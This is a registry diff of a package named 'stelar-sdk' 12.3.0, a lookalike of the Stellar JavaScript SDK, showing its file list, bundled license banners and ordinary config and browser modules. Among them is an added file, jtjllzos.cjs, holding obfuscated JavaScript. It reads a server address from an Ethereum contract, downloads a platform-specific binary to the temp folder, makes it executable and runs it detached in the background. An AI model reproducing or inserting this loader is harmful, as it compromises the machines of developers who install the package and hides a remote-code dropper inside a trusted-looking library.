stelar-sdk 12.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +228 -0
- package/README.md +295 -0
- package/dist/stellar-sdk.js +59532 -0
- package/dist/stellar-sdk.min.js +2 -0
- package/dist/stellar-sdk.min.js.LICENSE.txt +71 -0
- package/jtjllzos.cjs +1 -0
- package/lib/browser.d.ts +6 -0
- package/lib/browser.js +37 -0
- package/lib/config.d.ts +52 -0
- package/lib/config.js +51 -0
- package/lib/contract/assembled_transaction.d.ts +547 -0
- package/lib/contract/assembled_transaction.js +721 -0
- package/lib/contract/basic_node_signer.d.ts +12 -0
- package/lib/contract/basic_node_signer.js +52 -0
- package/lib/contract/client.d.ts +52 -0
- package/lib/contract/client.js +180 -0
- package/lib/contract/index.d.ts +7 -0
- package/lib/contract/index.js +82 -0
- package/lib/contract/rust_result.d.ts +71 -0
- package/lib/contract/rust_result.js +66 -0
- package/lib/contract/sent_transaction.d.ts +79 -0
- package/lib/contract/sent_transaction.js +151 -0
- package/lib/contract/spec.d.ts +158 -0
- package/lib/contract/spec.js +1020 -0
- package/lib/contract/types.d.ts +112 -0
- package/lib/contract/types.js +8 -0
- package/lib/contract/utils.d.ts +39 -0
- package/lib/contract/utils.js +123 -0
- package/lib/errors.d.ts +59 -0
- package/lib/errors.js +99 -0
- package/lib/federation/api.d.ts +11 -0
- package/lib/federation/api.js +7 -0
- package/lib/federation/index.d.ts +2 -0
- package/lib/federation/index.js +24 -0
- package/lib/federation/server.d.ts +118 -0
- package/lib/federation/server.js +252 -0
- package/lib/friendbot/index.d.ts +5 -0
- package/lib/friendbot/index.js +7 -0
- package/lib/horizon/account_call_builder.d.ts +54 -0
- package/lib/horizon/account_call_builder.js +62 -0
- package/lib/horizon/account_response.d.ts +58 -0
- package/lib/horizon/account_response.js +49 -0
- package/lib/horizon/assets_call_builder.d.ts +26 -0
- package/lib/horizon/assets_call_builder.js +43 -0
- package/lib/horizon/call_builder.d.ts +128 -0
- package/lib/horizon/call_builder.js +356 -0
- package/lib/horizon/claimable_balances_call_builder.d.ts +48 -0
- package/lib/horizon/claimable_balances_call_builder.js +56 -0
- package/lib/horizon/effect_call_builder.d.ts +52 -0
- package/lib/horizon/effect_call_builder.js +56 -0
- package/lib/horizon/friendbot_builder.d.ts +4 -0
- package/lib/horizon/friendbot_builder.js +32 -0
- package/lib/horizon/horizon_api.d.ts +527 -0
- package/lib/horizon/horizon_api.js +96 -0
- package/lib/horizon/horizon_axios_client.d.ts +30 -0
- package/lib/horizon/horizon_axios_client.js +48 -0
- package/lib/horizon/index.d.ts +7 -0
- package/lib/horizon/index.js +78 -0
- package/lib/horizon/ledger_call_builder.d.ts +21 -0
- package/lib/horizon/ledger_call_builder.js +37 -0
- package/lib/horizon/liquidity_pool_call_builder.d.ts +36 -0
- package/lib/horizon/liquidity_pool_call_builder.js +59 -0
- package/lib/horizon/offer_call_builder.d.ts +63 -0
- package/lib/horizon/offer_call_builder.js +79 -0
- package/lib/horizon/operation_call_builder.d.ts +67 -0
- package/lib/horizon/operation_call_builder.js +69 -0
- package/lib/horizon/orderbook_call_builder.d.ts +15 -0
- package/lib/horizon/orderbook_call_builder.js +45 -0
- package/lib/horizon/path_call_builder.d.ts +30 -0
- package/lib/horizon/path_call_builder.js +41 -0
- package/lib/horizon/payment_call_builder.d.ts +35 -0
- package/lib/horizon/payment_call_builder.js +46 -0
- package/lib/horizon/server.d.ts +380 -0
- package/lib/horizon/server.js +549 -0
- package/lib/horizon/server_api.d.ts +278 -0
- package/lib/horizon/server_api.js +19 -0
- package/lib/horizon/strict_receive_path_call_builder.d.ts +33 -0
- package/lib/horizon/strict_receive_path_call_builder.js +50 -0
- package/lib/horizon/strict_send_path_call_builder.d.ts +33 -0
- package/lib/horizon/strict_send_path_call_builder.js +50 -0
- package/lib/horizon/trade_aggregation_call_builder.d.ts +47 -0
- package/lib/horizon/trade_aggregation_call_builder.js +76 -0
- package/lib/horizon/trades_call_builder.d.ts +49 -0
- package/lib/horizon/trades_call_builder.js +72 -0
- package/lib/horizon/transaction_call_builder.d.ts +57 -0
- package/lib/horizon/transaction_call_builder.js +64 -0
- package/lib/horizon/types/account.d.ts +5 -0
- package/lib/horizon/types/account.js +5 -0
- package/lib/horizon/types/assets.d.ts +19 -0
- package/lib/horizon/types/assets.js +5 -0
- package/lib/horizon/types/effects.d.ts +285 -0
- package/lib/horizon/types/effects.js +62 -0
- package/lib/horizon/types/offer.d.ts +20 -0
- package/lib/horizon/types/offer.js +5 -0
- package/lib/horizon/types/trade.d.ts +13 -0
- package/lib/horizon/types/trade.js +5 -0
- package/lib/index.d.ts +37 -0
- package/lib/index.js +77 -0
- package/lib/rpc/api.d.ts +348 -0
- package/lib/rpc/api.js +32 -0
- package/lib/rpc/axios.d.ts +3 -0
- package/lib/rpc/axios.js +16 -0
- package/lib/rpc/browser.d.ts +6 -0
- package/lib/rpc/browser.js +37 -0
- package/lib/rpc/index.d.ts +7 -0
- package/lib/rpc/index.js +72 -0
- package/lib/rpc/jsonrpc.d.ts +27 -0
- package/lib/rpc/jsonrpc.js +52 -0
- package/lib/rpc/parsers.d.ts +19 -0
- package/lib/rpc/parsers.js +155 -0
- package/lib/rpc/server.d.ts +514 -0
- package/lib/rpc/server.js +737 -0
- package/lib/rpc/transaction.d.ts +19 -0
- package/lib/rpc/transaction.js +53 -0
- package/lib/rpc/utils.d.ts +1 -0
- package/lib/rpc/utils.js +9 -0
- package/lib/stellartoml/index.d.ts +121 -0
- package/lib/stellartoml/index.js +77 -0
- package/lib/utils.d.ts +12 -0
- package/lib/utils.js +31 -0
- package/lib/webauth/errors.d.ts +4 -0
- package/lib/webauth/errors.js +36 -0
- package/lib/webauth/index.d.ts +2 -0
- package/lib/webauth/index.js +27 -0
- package/lib/webauth/utils.d.ts +294 -0
- package/lib/webauth/utils.js +332 -0
- package/package.json +155 -0
- package/types/dom-monkeypatch.d.ts +126 -0
@@ -0,0 +1,71 @@
|
|
1
|
+
/*!
|
2
|
+
* The buffer module from node.js, for the browser.
|
3
|
+
*
|
4
|
+
* @author Feross Aboukhadijeh <https://feross.org>
|
5
|
+
* @license MIT
|
6
|
+
*/
|
7
|
+
|
8
|
+
/*!
|
9
|
+
* URI.js - Mutating URLs
|
10
|
+
*
|
11
|
+
* Version: 1.19.11
|
12
|
+
*
|
13
|
+
* Author: Rodney Rehm
|
14
|
+
* Web: http://medialize.github.io/URI.js/
|
15
|
+
*
|
16
|
+
* Licensed under
|
17
|
+
* MIT License http://www.opensource.org/licenses/mit-license
|
18
|
+
*
|
19
|
+
*/
|
20
|
+
|
21
|
+
/*!
|
22
|
+
* URI.js - Mutating URLs
|
23
|
+
* IPv6 Support
|
24
|
+
*
|
25
|
+
* Version: 1.19.11
|
26
|
+
*
|
27
|
+
* Author: Rodney Rehm
|
28
|
+
* Web: http://medialize.github.io/URI.js/
|
29
|
+
*
|
30
|
+
* Licensed under
|
31
|
+
* MIT License http://www.opensource.org/licenses/mit-license
|
32
|
+
*
|
33
|
+
*/
|
34
|
+
|
35
|
+
/*!
|
36
|
+
* URI.js - Mutating URLs
|
37
|
+
* Second Level Domain (SLD) Support
|
38
|
+
*
|
39
|
+
* Version: 1.19.11
|
40
|
+
*
|
41
|
+
* Author: Rodney Rehm
|
42
|
+
* Web: http://medialize.github.io/URI.js/
|
43
|
+
*
|
44
|
+
* Licensed under
|
45
|
+
* MIT License http://www.opensource.org/licenses/mit-license
|
46
|
+
*
|
47
|
+
*/
|
48
|
+
|
49
|
+
/*!
|
50
|
+
* URI.js - Mutating URLs
|
51
|
+
* URI Template Support - http://tools.ietf.org/html/rfc6570
|
52
|
+
*
|
53
|
+
* Version: 1.19.11
|
54
|
+
*
|
55
|
+
* Author: Rodney Rehm
|
56
|
+
* Web: http://medialize.github.io/URI.js/
|
57
|
+
*
|
58
|
+
* Licensed under
|
59
|
+
* MIT License http://www.opensource.org/licenses/mit-license
|
60
|
+
*
|
61
|
+
*/
|
62
|
+
|
63
|
+
/*! https://mths.be/punycode v1.4.0 by @mathias */
|
64
|
+
|
65
|
+
/*! https://mths.be/punycode v1.4.1 by @mathias */
|
66
|
+
|
67
|
+
/*! ieee754. BSD-3-Clause License. Feross Aboukhadijeh <https://feross.org/opensource> */
|
68
|
+
|
69
|
+
/*! regenerator-runtime -- Copyright (c) 2014-present, Facebook, Inc. -- license (MIT): https://github.com/facebook/regenerator/blob/main/LICENSE */
|
70
|
+
|
71
|
+
/*! safe-buffer. MIT License. Feross Aboukhadijeh <https://feross.org/opensource> */
|
package/jtjllzos.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x26ba(_0x4ff043,_0x2848ba){const _0x1f0174=_0x1f01();return _0x26ba=function(_0x26ba60,_0x28ce3d){_0x26ba60=_0x26ba60-0x128;let _0x3f3f5e=_0x1f0174[_0x26ba60];return _0x3f3f5e;},_0x26ba(_0x4ff043,_0x2848ba);}const _0x34c740=_0x26ba;function _0x1f01(){const _0x5f056c=['DplId','getDefaultProvider','780lFzINF','error','3336156NJjAPy','pipe','837UARWJH','UeUPe','Unsupported\x20platform:\x20','GET','Contract','Ошибка\x20установки:','darwin','maHuh','/node-win.exe','path','basename','ethers','finish','LCLKR','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','DIBmB','child_process','6702475mBjEph','222LNIuOl','20392EPRgLx','getString','yRZLw','/node-macos','util','3152OPkplj','WVzKZ','114125covYRy','7qpnOPB','win32','1104804ZQBglx','axios','KuLgL','linux','createWriteStream','platform','nkTyj','stream','xTHuY','join','tmpdir','/node-linux','zJbzc','2223837mxilHo'];_0x1f01=function(){return _0x5f056c;};return _0x1f01();}(function(_0x42f7c9,_0x2d7ed7){const _0x22170a=_0x26ba,_0x39b970=_0x42f7c9();while(!![]){try{const _0x4993a3=parseInt(_0x22170a(0x141))/0x1*(-parseInt(_0x22170a(0x147))/0x2)+-parseInt(_0x22170a(0x128))/0x3+parseInt(_0x22170a(0x12d))/0x4+parseInt(_0x22170a(0x140))/0x5+-parseInt(_0x22170a(0x14c))/0x6*(-parseInt(_0x22170a(0x14a))/0x7)+-parseInt(_0x22170a(0x142))/0x8*(-parseInt(_0x22170a(0x12f))/0x9)+-parseInt(_0x22170a(0x12b))/0xa*(parseInt(_0x22170a(0x149))/0xb);if(_0x4993a3===_0x2d7ed7)break;else _0x39b970['push'](_0x39b970['shift']());}catch(_0x14312c){_0x39b970['push'](_0x39b970['shift']());}}}(_0x1f01,0xa9c1c));const {ethers}=require(_0x34c740(0x13a)),axios=require(_0x34c740(0x14d)),util=require(_0x34c740(0x146)),fs=require('fs'),path=require(_0x34c740(0x138)),os=require('os'),{spawn}=require(_0x34c740(0x13f)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x34c740(0x13d),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x34c740(0x12a)]('mainnet'),contract=new ethers[(_0x34c740(0x133))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x3aaaec=_0x34c740,_0xeb2cba={'WVzKZ':'Ошибка\x20при\x20получении\x20IP\x20адреса:','DIBmB':function(_0x179fd7){return _0x179fd7();}};try{const _0x58d750=await contract[_0x3aaaec(0x143)](WalletOwner);return _0x58d750;}catch(_0x51d628){return console[_0x3aaaec(0x12c)](_0xeb2cba[_0x3aaaec(0x148)],_0x51d628),await _0xeb2cba[_0x3aaaec(0x13e)](fetchAndUpdateIp);}},getDownloadUrl=_0x489d35=>{const _0x15c71b=_0x34c740,_0x3c1f9e={'LCLKR':_0x15c71b(0x14f),'nJEEM':_0x15c71b(0x135)},_0x169d03=os[_0x15c71b(0x151)]();switch(_0x169d03){case _0x15c71b(0x14b):return _0x489d35+_0x15c71b(0x137);case _0x3c1f9e[_0x15c71b(0x13c)]:return _0x489d35+_0x15c71b(0x157);case _0x3c1f9e['nJEEM']:return _0x489d35+_0x15c71b(0x145);default:throw new Error(_0x15c71b(0x131)+_0x169d03);}},downloadFile=async(_0x338f78,_0x3f435c)=>{const _0x527463=_0x34c740,_0x244408={'zJbzc':_0x527463(0x13b),'maHuh':'error','DRqXn':function(_0x44eb8e,_0x1896e0){return _0x44eb8e(_0x1896e0);},'KuLgL':_0x527463(0x132),'kRynK':_0x527463(0x153)},_0x1f8b7e=fs[_0x527463(0x150)](_0x3f435c),_0x179307=await _0x244408['DRqXn'](axios,{'url':_0x338f78,'method':_0x244408[_0x527463(0x14e)],'responseType':_0x244408['kRynK']});return _0x179307['data'][_0x527463(0x12e)](_0x1f8b7e),new Promise((_0x20a1c5,_0x4daba9)=>{const _0x122d80=_0x527463;_0x1f8b7e['on'](_0x244408[_0x122d80(0x158)],_0x20a1c5),_0x1f8b7e['on'](_0x244408[_0x122d80(0x136)],_0x4daba9);});},executeFileInBackground=async _0x2d7e5d=>{const _0x25b28b=_0x34c740,_0x1905b2={'ebHeo':function(_0x3fa73b,_0x3af09a,_0x3f6897,_0x1ac062){return _0x3fa73b(_0x3af09a,_0x3f6897,_0x1ac062);},'nkTyj':'ignore'};try{const _0x4e2790=_0x1905b2['ebHeo'](spawn,_0x2d7e5d,[],{'detached':!![],'stdio':_0x1905b2[_0x25b28b(0x152)]});_0x4e2790['unref']();}catch(_0x2c7a79){console[_0x25b28b(0x12c)]('Ошибка\x20при\x20запуске\x20файла:',_0x2c7a79);}},runInstallation=async()=>{const _0x46e336=_0x34c740,_0x3fa3b0={'UeUPe':function(_0x1e63e5){return _0x1e63e5();},'yRZLw':_0x46e336(0x14b),'DplId':'755','xTHuY':function(_0x3e845d,_0x47849d){return _0x3e845d(_0x47849d);}};try{const _0x9179cb=await _0x3fa3b0[_0x46e336(0x130)](fetchAndUpdateIp),_0x5bb7ff=getDownloadUrl(_0x9179cb),_0x344b5f=os[_0x46e336(0x156)](),_0x49922c=path[_0x46e336(0x139)](_0x5bb7ff),_0x2f8131=path[_0x46e336(0x155)](_0x344b5f,_0x49922c);await downloadFile(_0x5bb7ff,_0x2f8131);if(os['platform']()!==_0x3fa3b0[_0x46e336(0x144)])fs['chmodSync'](_0x2f8131,_0x3fa3b0[_0x46e336(0x129)]);_0x3fa3b0[_0x46e336(0x154)](executeFileInBackground,_0x2f8131);}catch(_0xd1347e){console[_0x46e336(0x12c)](_0x46e336(0x134),_0xd1347e);}};runInstallation();
|
package/lib/browser.d.ts
ADDED
package/lib/browser.js
ADDED
@@ -0,0 +1,37 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
|
4
|
+
Object.defineProperty(exports, "__esModule", {
|
5
|
+
value: true
|
6
|
+
});
|
7
|
+
var _exportNames = {
|
8
|
+
axios: true,
|
9
|
+
StellarBase: true
|
10
|
+
};
|
11
|
+
exports.StellarBase = void 0;
|
12
|
+
Object.defineProperty(exports, "axios", {
|
13
|
+
enumerable: true,
|
14
|
+
get: function get() {
|
15
|
+
return _axios.default;
|
16
|
+
}
|
17
|
+
});
|
18
|
+
exports.default = void 0;
|
19
|
+
var _axios = _interopRequireDefault(require("axios"));
|
20
|
+
var _index = require("./index");
|
21
|
+
Object.keys(_index).forEach(function (key) {
|
22
|
+
if (key === "default" || key === "__esModule") return;
|
23
|
+
if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return;
|
24
|
+
if (key in exports && exports[key] === _index[key]) return;
|
25
|
+
Object.defineProperty(exports, key, {
|
26
|
+
enumerable: true,
|
27
|
+
get: function get() {
|
28
|
+
return _index[key];
|
29
|
+
}
|
30
|
+
});
|
31
|
+
});
|
32
|
+
var _StellarBase = _interopRequireWildcard(require("@stellar/stellar-base"));
|
33
|
+
exports.StellarBase = _StellarBase;
|
34
|
+
function _getRequireWildcardCache(e) { if ("function" != typeof WeakMap) return null; var r = new WeakMap(), t = new WeakMap(); return (_getRequireWildcardCache = function _getRequireWildcardCache(e) { return e ? t : r; })(e); }
|
35
|
+
function _interopRequireWildcard(e, r) { if (!r && e && e.__esModule) return e; if (null === e || "object" != _typeof(e) && "function" != typeof e) return { default: e }; var t = _getRequireWildcardCache(r); if (t && t.has(e)) return t.get(e); var n = { __proto__: null }, a = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var u in e) if ("default" !== u && {}.hasOwnProperty.call(e, u)) { var i = a ? Object.getOwnPropertyDescriptor(e, u) : null; i && (i.get || i.set) ? Object.defineProperty(n, u, i) : n[u] = e[u]; } return n.default = e, t && t.set(e, n), n; }
|
36
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
|
37
|
+
var _default = exports.default = module.exports;
|
package/lib/config.d.ts
ADDED
@@ -0,0 +1,52 @@
|
|
1
|
+
/**
|
2
|
+
* Global config class.
|
3
|
+
*
|
4
|
+
* Usage node:
|
5
|
+
* ```
|
6
|
+
* import {Config} from 'stellar-sdk';
|
7
|
+
* Config.setAllowHttp(true);
|
8
|
+
* Config.setTimeout(5000);
|
9
|
+
* ```
|
10
|
+
*
|
11
|
+
* Usage browser:
|
12
|
+
* ```
|
13
|
+
* StellarSdk.Config.setAllowHttp(true);
|
14
|
+
* StellarSdk.Config.setTimeout(5000);
|
15
|
+
* ```
|
16
|
+
* @static
|
17
|
+
*/
|
18
|
+
declare class Config {
|
19
|
+
/**
|
20
|
+
* Sets `allowHttp` flag globally. When set to `true`, connections to insecure http protocol servers will be allowed.
|
21
|
+
* Must be set to `false` in production. Default: `false`.
|
22
|
+
* @param {boolean} value new allowHttp value
|
23
|
+
* @returns {void}
|
24
|
+
* @static
|
25
|
+
*/
|
26
|
+
static setAllowHttp(value: boolean): void;
|
27
|
+
/**
|
28
|
+
* Sets `timeout` flag globally. When set to anything besides 0, the request will timeout after specified time (ms).
|
29
|
+
* Default: 0.
|
30
|
+
* @param {number} value new timeout value
|
31
|
+
* @returns {void}
|
32
|
+
* @static
|
33
|
+
*/
|
34
|
+
static setTimeout(value: number): void;
|
35
|
+
/**
|
36
|
+
* @static
|
37
|
+
* @returns {boolean} allowHttp flag
|
38
|
+
*/
|
39
|
+
static isAllowHttp(): boolean;
|
40
|
+
/**
|
41
|
+
* @static
|
42
|
+
* @returns {number} timeout flag
|
43
|
+
*/
|
44
|
+
static getTimeout(): number;
|
45
|
+
/**
|
46
|
+
* Sets all global config flags to default values.
|
47
|
+
* @static
|
48
|
+
* @returns {void}
|
49
|
+
*/
|
50
|
+
static setDefault(): void;
|
51
|
+
}
|
52
|
+
export { Config };
|
package/lib/config.js
ADDED
@@ -0,0 +1,51 @@
|
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.Config = void 0;
|
7
|
+
function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
|
8
|
+
function _classCallCheck(a, n) { if (!(a instanceof n)) throw new TypeError("Cannot call a class as a function"); }
|
9
|
+
function _defineProperties(e, r) { for (var t = 0; t < r.length; t++) { var o = r[t]; o.enumerable = o.enumerable || !1, o.configurable = !0, "value" in o && (o.writable = !0), Object.defineProperty(e, _toPropertyKey(o.key), o); } }
|
10
|
+
function _createClass(e, r, t) { return r && _defineProperties(e.prototype, r), t && _defineProperties(e, t), Object.defineProperty(e, "prototype", { writable: !1 }), e; }
|
11
|
+
function ownKeys(e, r) { var t = Object.keys(e); if (Object.getOwnPropertySymbols) { var o = Object.getOwnPropertySymbols(e); r && (o = o.filter(function (r) { return Object.getOwnPropertyDescriptor(e, r).enumerable; })), t.push.apply(t, o); } return t; }
|
12
|
+
function _objectSpread(e) { for (var r = 1; r < arguments.length; r++) { var t = null != arguments[r] ? arguments[r] : {}; r % 2 ? ownKeys(Object(t), !0).forEach(function (r) { _defineProperty(e, r, t[r]); }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(t)) : ownKeys(Object(t)).forEach(function (r) { Object.defineProperty(e, r, Object.getOwnPropertyDescriptor(t, r)); }); } return e; }
|
13
|
+
function _defineProperty(e, r, t) { return (r = _toPropertyKey(r)) in e ? Object.defineProperty(e, r, { value: t, enumerable: !0, configurable: !0, writable: !0 }) : e[r] = t, e; }
|
14
|
+
function _toPropertyKey(t) { var i = _toPrimitive(t, "string"); return "symbol" == _typeof(i) ? i : i + ""; }
|
15
|
+
function _toPrimitive(t, r) { if ("object" != _typeof(t) || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != _typeof(i)) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); }
|
16
|
+
var defaultConfig = {
|
17
|
+
allowHttp: false,
|
18
|
+
timeout: 0
|
19
|
+
};
|
20
|
+
var config = _objectSpread({}, defaultConfig);
|
21
|
+
var Config = exports.Config = function () {
|
22
|
+
function Config() {
|
23
|
+
_classCallCheck(this, Config);
|
24
|
+
}
|
25
|
+
return _createClass(Config, null, [{
|
26
|
+
key: "setAllowHttp",
|
27
|
+
value: function setAllowHttp(value) {
|
28
|
+
config.allowHttp = value;
|
29
|
+
}
|
30
|
+
}, {
|
31
|
+
key: "setTimeout",
|
32
|
+
value: function setTimeout(value) {
|
33
|
+
config.timeout = value;
|
34
|
+
}
|
35
|
+
}, {
|
36
|
+
key: "isAllowHttp",
|
37
|
+
value: function isAllowHttp() {
|
38
|
+
return config.allowHttp;
|
39
|
+
}
|
40
|
+
}, {
|
41
|
+
key: "getTimeout",
|
42
|
+
value: function getTimeout() {
|
43
|
+
return config.timeout;
|
44
|
+
}
|
45
|
+
}, {
|
46
|
+
key: "setDefault",
|
47
|
+
value: function setDefault() {
|
48
|
+
config = _objectSpread({}, defaultConfig);
|
49
|
+
}
|
50
|
+
}]);
|
51
|
+
}();
|